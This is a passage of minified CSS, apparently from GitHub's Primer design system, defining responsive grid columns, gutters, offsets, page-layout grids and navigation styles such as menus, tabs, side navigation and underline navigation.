1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav 